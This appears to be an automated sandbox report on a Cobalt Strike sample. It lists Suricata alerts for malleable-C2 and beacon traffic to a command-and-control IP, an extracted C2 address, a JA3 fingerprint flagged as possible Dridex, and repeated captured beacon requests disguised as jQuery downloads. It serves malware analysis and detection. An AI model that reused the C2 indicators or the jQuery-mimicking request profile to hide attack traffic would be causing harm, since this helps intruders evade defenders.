Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50014
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50018 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50018 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49822
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50010
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50032 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50032 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49739
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49978
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50026
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50029 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50006 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50006 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50029 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49933 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49933 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50018
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50032
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49989 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50027
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50028
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50034 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50034 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50006
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49989 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50013 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50013 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50009
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50004
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50016 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50016 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50029
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50013
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50005
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49933
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50031 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50031 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50030 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50030 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49945 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49945 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50034
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49989
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50020 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50020 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50016
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50031
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50030
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50020
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50021 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50021 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49945
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50021
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50011 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50011 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50011

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 45.116.78.127

Source: Joe Sandbox View

ASN Name: CLOUDIE-AS-APCloudieLimitedHK CLOUDIE-AS-APCloudieLimitedHK

Source: Joe Sandbox View

JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8

Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49708 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49714 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49706 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49704 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49728 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49705 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49717 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49707 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49739 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49755 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49794 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49766 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49782 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49822 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49836 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49849 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49863 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49878 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49890 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49918 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49906 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49933 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49945 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49809 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49989 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50003 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50004 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50005 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50007 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50010 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50017 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50006 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50015 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50012 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50009 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50014 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50008 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50020 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50024 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50016 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50023 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50013 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50026 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50011 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50029 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50030 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50028 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50032 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50019 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50034 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50025 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50021 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50027 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50033 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50018 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50031 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:50022 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49962 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49978 -> 45.116.78.127:443

Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
